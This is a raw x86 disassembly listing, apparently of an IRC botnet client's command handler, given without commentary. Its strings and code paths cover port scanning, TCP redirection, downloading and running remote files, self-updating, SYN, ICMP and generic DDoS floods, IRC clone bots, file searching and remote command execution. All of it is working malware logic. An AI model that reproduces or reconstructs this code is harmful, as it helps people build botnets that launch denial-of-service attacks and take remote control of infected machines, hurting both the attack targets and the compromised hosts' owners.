; ---------------------------------------------------------------------------
loc_40F797: ; CODE XREF: sub_40C50A+3283j
; sub_40C50A+3288j
mov esi, offset aFf_1 ; "#ff-"
push offset dword_491D8C
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_40F775
mov [ebp+var_3B4], bl
loc_40F7B3: ; CODE XREF: sub_40C50A+327Cj
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40F7C5
mov eax, offset aSequential ; "Sequential"
loc_40F7C5: ; CODE XREF: sub_40C50A+32B4j
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_4161EB
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40328A
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40F853
loc_40F83D: ; CODE XREF: sub_40C50A+3347j
cmp [ebp+var_300], ebx
jnz loc_40EF94
push 32h
call ds:dword_4942D8
jmp short loc_40F83D
; ---------------------------------------------------------------------------
loc_40F853: ; CODE XREF: sub_40C50A+3331j
call ds:dword_4942F0
push eax
push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan thread, er"...
jmp loc_40EF85
; ---------------------------------------------------------------------------
loc_40F864: ; CODE XREF: sub_40C50A+2786j
; sub_40C50A+279Dj
push edi
call sub_4195F0
imul eax, 234h
pop ecx
cmp byte_44D070[eax], bl
jz loc_41263B
cmp [ebp+var_C], ebx
jz loc_41263B
push [ebp+arg_18]
call sub_418E70
push edi
mov esi, eax
call sub_418E70
push [ebp+arg_8]
add esi, eax
call sub_418E70
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_419AB0
mov esi, eax
lea eax, [ebp+var_2DC]
push esi
push offset dword_441368
push eax
call sub_418D70
add esp, 20h
cmp esi, ebx
jz loc_41263B
push edi
call sub_4195F0
test eax, eax
pop ecx
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_40842D
push edi
call sub_4195F0
imul eax, 234h
add esp, 18h
cmp byte ptr dword_44CE58[eax], 73h
jnz loc_41263B
push esi
push edi
call sub_4195F0
imul eax, 234h
pop ecx
add eax, offset byte_44D070
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40F94C: ; CODE XREF: sub_40C50A+353Fj
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
loc_40F971: ; CODE XREF: sub_40C50A+5855j
add esp, 28h
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_40F979: ; CODE XREF: sub_40C50A+2758j
; sub_40C50A+276Fj
push edi
call sub_4195F0
imul eax, 234h
pop ecx
cmp byte_44D070[eax], bl
jz loc_41263B
cmp [ebp+var_C], ebx
jz loc_41263B
push [ebp+arg_18]
call sub_418E70
push edi
mov esi, eax
call sub_418E70
push [ebp+arg_8]
add esi, eax
call sub_418E70
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_419AB0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_41263B
push edi
call sub_4195F0
test eax, eax
pop ecx
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_40842D
push edi
call sub_4195F0
imul eax, 234h
add esp, 18h
cmp byte ptr dword_44CE58[eax], 73h
jnz loc_41263B
push esi
push edi
call sub_4195F0
imul eax, 234h
pop ecx
add eax, offset byte_44D070
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] <%s> %s"
jmp loc_40F94C
; ---------------------------------------------------------------------------
loc_40FA4E: ; CODE XREF: sub_40C50A+272Aj
; sub_40C50A+2741j
push edi
call dword_44B700 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_474], eax
call sub_4195F0
push [ebp+arg_0]
mov [ebp+var_480], eax
call sub_4195F0
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_47C], eax
lea eax, [ebp+var_500]
mov [ebp+var_504], esi
push eax
call sub_4191A0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_46C], edi
push [ebp+var_47C]
mov [ebp+var_468], eax
push [ebp+var_480]
push [ebp+var_474]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_2DC]
push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_478], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_504]
push ebx
push eax
push offset sub_4139E0
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_478]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40FB30
loc_40FB1A: ; CODE XREF: sub_40C50A+3624j
cmp [ebp+var_464], ebx
jnz loc_411B78
push 32h
call ds:dword_4942D8
jmp short loc_40FB1A
; ---------------------------------------------------------------------------
loc_40FB30: ; CODE XREF: sub_40C50A+360Ej
call ds:dword_4942F0
push eax
push offset aScanFailedTo_3 ; "[SCAN]: Failed to start scan thread, er"...
jmp loc_411B69
; ---------------------------------------------------------------------------
loc_40FB41: ; CODE XREF: sub_40C50A+26FCj
; sub_40C50A+2713j
push edi
call sub_4195F0
push 7Fh
mov [ebp+var_314], eax
push [ebp+arg_18]
lea eax, [ebp+var_418]
push eax
call sub_4191A0
push [ebp+arg_0]
call sub_4195F0
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_318], eax
lea eax, [ebp+var_398]
push 80h
push eax
mov [ebp+var_420], esi
call sub_418EF0
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_304], eax
push [ebp+var_318]
lea eax, [ebp+var_418]
mov [ebp+var_308], edi
push eax
push [ebp+var_314]
push esi
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 10h
push eax
call sub_4161EB
add esp, 24h
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_412814
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40FC2A
loc_40FC14: ; CODE XREF: sub_40C50A+371Ej
cmp [ebp+var_300], ebx
jnz loc_411B78
push 32h
call ds:dword_4942D8
jmp short loc_40FC14
; ---------------------------------------------------------------------------
loc_40FC2A: ; CODE XREF: sub_40C50A+3708j
call ds:dword_4942F0
push eax
push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"...
jmp loc_411B69
; ---------------------------------------------------------------------------
loc_40FC3B: ; CODE XREF: sub_40C50A+26CEj
; sub_40C50A+26E5j
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_4191A0
push 0FFh
lea eax, [ebp+var_680]
push [ebp+arg_18]
push eax
call sub_4191A0
push [ebp+arg_0]
mov [ebp+var_57C], ebx
call sub_4195F0
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_40FC97
push 10h
push ebx
push eax
call sub_41ABB0
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_40FC9D
; ---------------------------------------------------------------------------
loc_40FC97: ; CODE XREF: sub_40C50A+3777j
mov [ebp+var_570], ebx
loc_40FC9D: ; CODE XREF: sub_40C50A+378Bj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40FCB4
push esi
call sub_4195F0
pop ecx
mov [ebp+var_574], eax
jmp short loc_40FCBA
; ---------------------------------------------------------------------------
loc_40FCB4: ; CODE XREF: sub_40C50A+3799j
mov [ebp+var_574], ebx
loc_40FCBA: ; CODE XREF: sub_40C50A+37A8j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_4191A0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
push edi
lea eax, [ebp+var_2DC]
push offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
push eax
call sub_418D70
push esi
lea eax, [ebp+var_2DC]
push 15h
push eax
call sub_4161EB
add esp, 28h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_405084
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40FD68
loc_40FD52: ; CODE XREF: sub_40C50A+385Cj
cmp [ebp+var_560], ebx
jnz loc_40F3D3
push 32h
call ds:dword_4942D8
jmp short loc_40FD52
; ---------------------------------------------------------------------------
loc_40FD68: ; CODE XREF: sub_40C50A+3846j
call ds:dword_4942F0
push eax
push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"...
jmp loc_40FF6B
; ---------------------------------------------------------------------------
loc_40FD79: ; CODE XREF: sub_40C50A+26A0j
; sub_40C50A+26B7j
push 7Fh
lea eax, [ebp+var_76C]
pop esi
push esi
push edi
push eax
call sub_4191A0
push esi
lea eax, [ebp+var_6EC]
push [ebp+arg_18]
push eax
call sub_4191A0
push esi
lea eax, [ebp+var_66C]
push [ebp+arg_0]
push eax
call sub_4191A0
push esi
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_4191A0
mov eax, [ebp+var_8]
push [ebp+arg_0]
mov esi, [ebp+var_4]
mov [ebp+var_564], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_770], eax
lea eax, [ebp+var_2DC]
push edi
push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
push eax
mov [ebp+var_568], esi
call sub_418D70
add esp, 44h
lea eax, [ebp+var_2DC]
push ebx
push 0Bh
push eax
call sub_4161EB
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_414ECB
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40FE4C
loc_40FE3A: ; CODE XREF: sub_40C50A+3940j
cmp [ebp+var_560], ebx
jnz short loc_40FE67
push 32h
call ds:dword_4942D8
jmp short loc_40FE3A
; ---------------------------------------------------------------------------
loc_40FE4C: ; CODE XREF: sub_40C50A+392Ej
call ds:dword_4942F0
push eax
lea eax, [ebp+var_2DC]
push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"...
push eax
call sub_418D70
add esp, 0Ch
loc_40FE67: ; CODE XREF: sub_40C50A+3936j
cmp [ebp+var_8], ebx
jnz loc_40EFB5
push ebx
push esi
jmp loc_40EF9D
; ---------------------------------------------------------------------------
loc_40FE77: ; CODE XREF: sub_40C50A+265Bj
; sub_40C50A+2672j ...
push 7Fh
lea eax, [ebp+var_7E8]
pop esi
push esi
push edi
push eax
call sub_4191A0
push esi
lea eax, [ebp+var_768]
push [ebp+arg_18]
push eax
call sub_4191A0
push esi
lea eax, [ebp+var_6E8]
push [ebp+arg_0]
push eax
call sub_4191A0
push esi
lea eax, [ebp+var_668]
push [ebp+var_8C]
push eax
call sub_4191A0
push 20h
lea eax, [ebp+var_5E8]
push [ebp+arg_8]
push eax
call sub_4191A0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push edi
push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"...
push eax
mov [ebp+var_7F0], esi
call sub_418D70
add esp, 50h
lea eax, [ebp+var_2DC]
push ebx
push 0Ah
push eax
call sub_4161EB
add esp, 0Ch
mov [ebp+var_7EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset sub_404C3D
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_7EC]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_40FF5F
loc_40FF49: ; CODE XREF: sub_40C50A+3A53j
cmp [ebp+var_560], ebx
jnz loc_40F3D3
push 32h
call ds:dword_4942D8
jmp short loc_40FF49
; ---------------------------------------------------------------------------
loc_40FF5F: ; CODE XREF: sub_40C50A+3A3Dj
call ds:dword_4942F0
push eax
push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"...
loc_40FF6B: ; CODE XREF: sub_40C50A+2EABj
; sub_40C50A+2FF6j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
jmp loc_40F3D0
; ---------------------------------------------------------------------------
loc_40FF7C: ; CODE XREF: sub_40C50A+262Dj
; sub_40C50A+2644j
push 7Fh
lea eax, [ebp+var_458]
push edi
push eax
call sub_4191A0
push [ebp+arg_18]
call sub_4195F0
push 3Fh
mov [ebp+var_308], eax
push [ebp+arg_0]
lea eax, [ebp+var_3D8]
push eax
call sub_4191A0
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_40FFCA
push 3Fh
lea eax, [ebp+var_398]
push esi
push eax
call sub_4191A0
add esp, 0Ch
loc_40FFCA: ; CODE XREF: sub_40C50A+3AACj
lea eax, [ebp+var_3D8]
mov [ebp+var_304], 1
push eax
lea eax, [ebp+var_458]
push [ebp+var_308]
push eax
lea eax, [ebp+var_2DC]
push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 17h
push eax
call sub_4161EB
add esp, 20h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_45C]
push ebx
push eax
push offset sub_40C22A
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_410056
loc_410040: ; CODE XREF: sub_40C50A+3B4Aj
cmp [ebp+var_2FC], ebx
jnz loc_41110A
push 32h
call ds:dword_4942D8
jmp short loc_410040
; ---------------------------------------------------------------------------
loc_410056: ; CODE XREF: sub_40C50A+3B34j
call ds:dword_4942F0
push eax
push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
jmp loc_40EF0C
; ---------------------------------------------------------------------------
loc_410067: ; CODE XREF: sub_40C50A+25EDj
; sub_40C50A+2604j
push [ebp+arg_18]
call sub_4195F0
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_410158
mov esi, 80h
push edi
lea eax, [ebp+var_6F8]
push esi
push eax
call sub_418EF0
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_418EF0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
push edi
push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds."
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
push ebx
lea eax, [ebp+var_2DC]
push 0Dh
push eax
call sub_4161EB
add esp, 38h
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_407E55
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_410147
loc_410131: ; CODE XREF: sub_40C50A+3C3Bj
cmp [ebp+var_560], ebx
jnz loc_40EF94
push 32h
call ds:dword_4942D8
jmp short loc_410131
; ---------------------------------------------------------------------------
loc_410147: ; CODE XREF: sub_40C50A+3C25j
call ds:dword_4942F0
push eax
push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"...
jmp loc_40EF85
; ---------------------------------------------------------------------------
loc_410158: ; CODE XREF: sub_40C50A+3B6Ej
push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"...
jmp loc_411C97
; ---------------------------------------------------------------------------
loc_410162: ; CODE XREF: sub_40C50A+25BFj
; sub_40C50A+25D6j
push [ebp+arg_18]
push edi
call ds:dword_4943D8
test eax, eax
jz short loc_410192
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push edi
push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
push 200h
push eax
call sub_418EF0
loc_41018A: ; CODE XREF: sub_40C50A+44C3j
add esp, 14h
jmp loc_40EF94
; ---------------------------------------------------------------------------
loc_410192: ; CODE XREF: sub_40C50A+3C64j
push offset aFile_1 ; "[FILE]:"
call sub_409AA0
push eax
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
add esp, 10h
jmp loc_40EF94
; ---------------------------------------------------------------------------
loc_4101B6: ; CODE XREF: sub_40C50A+2591j
; sub_40C50A+25A8j
push edi
lea eax, [ebp+var_774]
push 104h
push eax
call sub_418EF0
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4101F0
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4101F0
push eax
lea eax, [ebp+var_670]
push eax
call sub_418D70
pop ecx
pop ecx
loc_4101F0: ; CODE XREF: sub_40C50A+3CC4j
; sub_40C50A+3CD5j
push [ebp+var_8C]
lea eax, [ebp+var_7F4]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+arg_4]
mov [ebp+var_7F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_774]
push eax
push offset aFindfileSear_0 ; "[FINDFILE]: Searching for file: %s in: "...
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
push ebx
lea eax, [ebp+var_2DC]
push 1Bh
push eax
call sub_4161EB
add esp, 2Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_405A20
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_4102A3
loc_41028D: ; CODE XREF: sub_40C50A+3D97j
cmp [ebp+var_560], ebx
jnz loc_40EFB5
push 32h
call ds:dword_4942D8
jmp short loc_41028D
; ---------------------------------------------------------------------------
loc_4102A3: ; CODE XREF: sub_40C50A+3D81j
call ds:dword_4942F0
push eax
push offset aFindfileFailed ; "[FINDFILE]: Failed to start search thre"...
jmp loc_4124D0
; ---------------------------------------------------------------------------
loc_4102B4: ; CODE XREF: sub_40C50A+2563j
; sub_40C50A+257Aj
push 44h
lea eax, [ebp+var_4A0]
pop esi
push esi
push ebx
push eax
call sub_4189A0
push 1
mov [ebp+var_4A0], esi
pop esi
mov word ptr [ebp+var_470], bx
push edi
mov [ebp+var_474], esi
call sub_4195F0
add esp, 10h
cmp eax, esi
jnz short loc_4102F1
mov word ptr [ebp+var_470], 5
loc_4102F1: ; CODE XREF: sub_40C50A+3DDCj
cmp [ebp+var_C], ebx
jz loc_41110A
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_41110A
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_4A0]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_494330
test eax, eax
jnz short loc_41033C
push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_41033C: ; CODE XREF: sub_40C50A+3E26j
push edi
push offset aExecCommandsS ; "[EXEC]: Commands: %s"
jmp loc_40EF0C
; ---------------------------------------------------------------------------
loc_410347: ; CODE XREF: sub_40C50A+2535j
; sub_40C50A+254Cj
push [ebp+arg_18]
push offset aFenr ; "FEnR"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_4104BB
lea eax, [ebp+var_3FC]
push eax
push 104h
call ds:dword_4943AC
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_4191A0
lea eax, [ebp+var_2F8]
push eax
call sub_413590
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_680]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_418D70
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_57C], 1
mov [ebp+var_578], ebx
jz short loc_4103D9
push 10h
push ebx
push eax
call sub_41ABB0
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_4103DF
; ---------------------------------------------------------------------------
loc_4103D9: ; CODE XREF: sub_40C50A+3EB9j
mov [ebp+var_570], ebx
loc_4103DF: ; CODE XREF: sub_40C50A+3ECDj
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_4103F9
push esi
call sub_4195F0
pop ecx
mov [ebp+var_574], eax
jmp short loc_4103FF
; ---------------------------------------------------------------------------
loc_4103F9: ; CODE XREF: sub_40C50A+3EDEj
mov [ebp+var_574], ebx
loc_4103FF: ; CODE XREF: sub_40C50A+3EEDj
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_4191A0
mov eax, [ebp+var_4]
push edi
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
lea eax, [ebp+var_2DC]
push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s."
push eax
call sub_418D70
push esi
lea eax, [ebp+var_2DC]
push 16h
push eax
call sub_4161EB
add esp, 24h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_405084
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_4104AA
loc_410494: ; CODE XREF: sub_40C50A+3F9Ej
cmp [ebp+var_560], ebx
jnz loc_41110A
push 32h
call ds:dword_4942D8
jmp short loc_410494
; ---------------------------------------------------------------------------
loc_4104AA: ; CODE XREF: sub_40C50A+3F88j
call ds:dword_4942F0
push eax
push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
jmp loc_40EF0C
; ---------------------------------------------------------------------------
loc_4104BB: ; CODE XREF: sub_40C50A+3E4Ej
push offset aUpdateBotIdMus ; "[UPDATE]: Bot ID must be different than"...
jmp loc_4110FC
; ---------------------------------------------------------------------------
loc_4104C5: ; CODE XREF: sub_40C50A+2507j
; sub_40C50A+251Ej
push [ebp+var_90]
push offset a332_0 ; "332"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40C97C
cmp [ebp+var_C], ebx
jz loc_40C97C
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_418D70
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_4191A0
push edi
call sub_4195F0
add esp, 30h
test eax, eax
jle short loc_41054C
push edi
call sub_4195F0
imul eax, 3E8h
pop ecx
push eax
call ds:dword_4942D8
loc_41054C: ; CODE XREF: sub_40C50A+402Cj
push offset aMainDelay_ ; "[MAIN]: Delay."
call sub_4035E1
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_410560: ; CODE XREF: sub_40C50A+24D9j
; sub_40C50A+24F0j
push [ebp+var_90]
push offset a332_1 ; "332"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_40C97C
cmp [ebp+var_C], ebx
jz loc_41263B
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat_0 ; "repeat"
push eax
call sub_419360
add esp, 10h
test eax, eax
push esi
jz short loc_41061C
push [ebp+var_8C]
lea eax, [ebp+var_2DC]
push [ebp+var_90]
push [ebp+var_94]
push offset aSSSS_0 ; "%s %s %s :%s"
push eax
call sub_418D70
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_4191A0
push esi
lea eax, [ebp+var_2DC]
push offset aMainRepeatS ; "[MAIN]: Repeat: %s"
push eax
call sub_418D70
lea eax, [ebp+var_2DC]
push eax
call sub_4035E1
push edi
call sub_4195F0
add esp, 38h
test eax, eax
jle loc_41263B
push edi
call sub_4195F0
add eax, [ebp+arg_24]
pop ecx
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_41061C: ; CODE XREF: sub_40C50A+409Bj
push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"...
jmp loc_40EF0C
; ---------------------------------------------------------------------------
loc_410626: ; CODE XREF: sub_40C50A+24ABj
; sub_40C50A+24C2j
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset aPartS ; "PART %s"
push eax
call sub_418D70
push edi
call sub_4195F0
add esp, 10h
test eax, eax
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
lea eax, [ebp+var_2DC]
push eax
push offset aS_24 ; "%s\r\n"
loc_410669: ; CODE XREF: sub_40C50A+41C9j
; sub_40C50A+4CE0j
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_4083E7
loc_410681: ; CODE XREF: sub_40C50A+5D62j
add esp, 0Ch
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_410689: ; CODE XREF: sub_40C50A+247Dj
; sub_40C50A+2494j
push [ebp+esi+var_88]
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
push offset aJoinSS_1 ; "JOIN %s %s"
push eax
call sub_418D70
push edi
call sub_4195F0
add esp, 14h
test eax, eax
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
lea eax, [ebp+var_2DC]
push eax
push offset aS_25 ; "%s\r\n"
jmp short loc_410669
; ---------------------------------------------------------------------------
loc_4106D5: ; CODE XREF: sub_40C50A+244Fj
; sub_40C50A+2466j
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_418D70
push edi
call sub_4195F0
add esp, 10h
test eax, eax
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
lea eax, [ebp+var_2DC]
push eax
push offset aS_26 ; "%s\r\n"
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_4083E7
push [ebp+arg_18]
push edi
push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s"
loc_410739: ; CODE XREF: sub_40C50A+42B9j
; sub_40C50A+4324j ...
call sub_403655
loc_41073E: ; CODE XREF: sub_40C50A+5A2Fj
add esp, 18h
jmp loc_41263B
; ---------------------------------------------------------------------------
loc_410746: ; CODE XREF: sub_40C50A+2421j
; sub_40C50A+2438j
cmp [ebp+var_C], ebx
jz loc_41263B
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410777
push esi
lea eax, [ebp+var_2DC]
push offset aModeS ; "MODE %s"
push eax
call sub_418D70
add esp, 0Ch
loc_410777: ; CODE XREF: sub_40C50A+4256j
push edi
call sub_4195F0
test eax, eax
pop ecx
jle loc_41263B
push edi
call sub_4195F0
cmp eax, 1F4h
pop ecx
jge loc_41263B
lea eax, [ebp+var_2DC]
push eax
push offset aS_27 ; "%s\r\n"
push edi
call sub_4195F0
imul eax, 234h
pop ecx
push dword_44D064[eax]
call sub_4083E7
push esi
push edi
push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s"
jmp loc_410739
; ---------------------------------------------------------------------------
loc_4107C8: ; CODE XREF: sub_40C50A+23F3j
; sub_40C50A+240Aj
cmp [ebp+var_C], ebx
jz loc_41263B
push [ebp+arg_18]
push [ebp+var_C]
call sub_419AB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41263B
